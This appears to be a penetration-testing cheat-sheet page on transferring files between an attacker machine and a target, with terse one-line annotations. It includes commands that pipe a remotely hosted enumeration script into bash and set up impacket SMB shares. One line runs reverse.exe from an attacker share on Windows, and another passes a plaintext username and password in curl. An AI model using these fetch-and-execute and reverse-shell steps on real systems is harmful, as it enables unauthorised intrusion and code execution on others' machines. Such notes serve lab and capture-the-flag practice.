Transfer Files
More
Curl
vim script.py
python -m SimpleHTTPServer 80 ..share
curl http://10.x.x.x:80/script.py -o /opt/tmp.py ..d/l overwrite
curl $MyIP:80/LinEnum.sh | bash ..d/l execute (linux)
curl --user david:Nowonly4me http://10.x.x.x/~david/
curl --user david:Nowonly4me --negotiate http://10.x.x.x/~david/smbserver
locate smbserver.py ..find
cd /usr/share/doc/python3-impacket/examples ..prep
sudo python3 ./smbserver.py share /tmp ..share
impacket-smbserver share `pwd` ..another method
smbclient -L 10.x.x.x --no-pass ..test
net view \\10.x.x.x ..windows command
net use z: \\10.x.x.x\pub ..map a drive
copy "Oracle Issue.txt" z: ..copy file
dir \\10.x.x.x\share ..windows list directory
copy \\10.x.x.x\share\app C:\Windows\Temp\ ..windows copy
\\10.x.x.x\share\reverse.exe ..runWindows Share
HTTP Server One Liners
Powershell
Powershell Advanced
smb setup issues
smb setup impacket python2
smb optional
nc
updog
ftp
Permission Trouble
certutil
Last updated